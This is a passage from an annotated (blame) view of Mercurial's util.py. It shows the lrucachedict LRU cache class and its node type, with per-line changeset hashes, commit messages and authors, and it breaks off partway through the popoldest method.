diff changeset
1218 """
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1219 __slots__ = (u'next', u'prev', u'key', u'value', u'cost')
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1220
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1221 def __init__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1222 self.next = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1223 self.prev = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1224
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1225 self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1226 self.value = None
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1227 self.cost = 0
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1228
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1229 def markempty(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1230 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1231 self.key = _notset
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1232 self.value = None
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1233 self.cost = 0
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1234
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1235 class lrucachedict(object):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1236 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1237
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1238 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1239 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1240 the cache.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1241
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1242 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1243 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1244 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1245 new head node.
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1246
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1247 Items in the cache can be inserted with an optional "cost" value. This is
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1248 simply an integer that is specified by the caller. The cache can be queried
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1249 for the total cost of all items presently in the cache.
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1250
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1251 The cache can also define a maximum cost. If a cache insertion would
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1252 cause the total cost of the cache to go beyond the maximum cost limit,
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1253 nodes will be evicted to make room for the new code. This can be used
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1254 to e.g. set a max memory limit and associate an estimated bytes size
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1255 cost to each item in the cache. By default, no maximum cost is enforced.
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1256 """
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1257 def __init__(self, max, maxcost=0):
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1258 self._cache = {}
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1259
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1260 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1261 head.prev = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1262 head.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1263 self._size = 1
39564
5d75a3c16193 util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39563
diff changeset
1264 self.capacity = max
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1265 self.totalcost = 0
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1266 self.maxcost = maxcost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1267
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1268 def __len__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1269 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1270
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1271 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1272 return k in self._cache
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1273
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1274 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1275 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1276 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1277 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1278 yield n.key
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1279 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1280
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1281 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1282 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1283 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1284 return node.value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1285
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1286 def insert(self, k, v, cost=0):
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1287 """Insert a new item in the cache with optional cost value."""
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1288 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1289 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1290 if node is not None:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1291 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1292 node.value = v
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1293 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1294 self.totalcost += cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1295 self._movetohead(node)
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1296
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1297 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1298 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1299
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1300 return
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1301
39564
5d75a3c16193 util: make capacity a public attribute on lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39563
diff changeset
1302 if self._size < self.capacity:
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1303 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1304 else:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1305 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1306 node = self._head.prev
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1307
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1308 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1309 if node.key is not _notset:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1310 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1311 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1312
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1313 node.key = k
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1314 node.value = v
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1315 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1316 self.totalcost += cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1317 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1318 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1319 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1320 self._head = node
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1321
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1322 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1323 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1324
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1325 def __setitem__(self, k, v):
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1326 self.insert(k, v)
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1327
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1328 def __delitem__(self, k):
40880
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1329 self.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1330
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1331 def pop(self, k, default=_notset):
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1332 try:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1333 node = self._cache.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1334 except KeyError:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1335 if default is _notset:
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1336 raise
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1337 return default
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1338 value = node.value
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1339 self.totalcost -= node.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1340 node.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1341
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1342 # Temporarily mark as newest item before re-adjusting head to make
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1343 # this node the oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1344 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1345 self._head = node.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1346
40880
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1347 return value
7cda0cacbbf6 util: implement pop() on lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40879
diff changeset
1348
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1349 # Additional dict methods.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1350
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1351 def get(self, k, default=None):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1352 try:
39571
8f2c0d1b454c util: update lrucachedict order during get()
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39570
diff changeset
1353 return self.__getitem__(k)
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1354 except KeyError:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1355 return default
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
1356
40879
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1357 def peek(self, k, default=_notset):
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1358 """Get the specified item without moving it to the head
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1359
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1360 Unlike get(), this doesn't mutate the internal state. But be aware
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1361 that it doesn't mean peek() is thread safe.
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1362 """
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1363 try:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1364 node = self._cache[k]
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1365 return node.value
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1366 except KeyError:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1367 if default is _notset:
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1368 raise
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1369 return default
0c638ff69f5c util: add method to peek item in lrucachedict
Yuya Nishihara <yuya@tcha.org>
parents: 40689
diff changeset
1370
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1371 def clear(self):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1372 n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1373 while n.key is not _notset:
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1374 self.totalcost -= n.cost
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1375 n.markempty()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1376 n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1377
19710
887ffa22fd0d lrucachedict: implement clear()
Siddharth Agarwal <sid0@fb.com>
parents: 19461
diff changeset
1378 self._cache.clear()
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
1379
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1380 def copy(self, capacity=None, maxcost=0):
39565
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1381 """Create a new cache as a copy of the current one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1382
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1383 By default, the new cache has the same capacity as the existing one.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1384 But, the cache capacity can be changed as part of performing the
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1385 copy.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1386
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1387 Items in the copy have an insertion/access order matching this
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1388 instance.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1389 """
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1390
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1391 capacity = capacity or self.capacity
39568
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1392 maxcost = maxcost or self.maxcost
842cd0bdda75 util: teach lrucachedict to enforce a max total cost
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39567
diff changeset
1393 result = lrucachedict(capacity, maxcost=maxcost)
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1394
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1395 # We copy entries by iterating in oldest-to-newest order so the copy
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1396 # has the correct ordering.
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1397
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1398 # Find the first non-empty entry.
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1399 n = self._head.prev
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1400 while n.key is _notset and n is not self._head:
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1401 n = n.prev
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1402
39565
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1403 # We could potentially skip the first N items when decreasing capacity.
2dcc68c7d25b util: ability to change capacity when copying lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39564
diff changeset
1404 # But let's keep it simple unless it is a performance problem.
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1405 for i in range(len(self._cache)):
39567
ee087f0d7db5 util: allow lrucachedict to track cost of entries
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39566
diff changeset
1406 result.insert(n.key, n.value, cost=n.cost)
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1407 n = n.prev
39563
b31b01f93b11 util: properly copy lrucachedict instances
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39259
diff changeset
1408
27576
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1409 return result
6cd3044985c2 lrucachedict: add copy method
Eric Sumner <ericsumner@fb.com>
parents: 27391
diff changeset
1410
39566
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1411 def popoldest(self):
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1412 """Remove the oldest item from the cache.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1413
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1414 Returns the (key, value) describing the removed cache entry.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1415 """
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1416 if not self._cache:
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1417 return
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1418
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1419 # Walk the linked list backwards starting at tail node until we hit
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1420 # a non-empty node.
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
diff changeset
1421 n = self._head.prev
bd9d3a89f07b util: add a popoldest() method to lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 39565
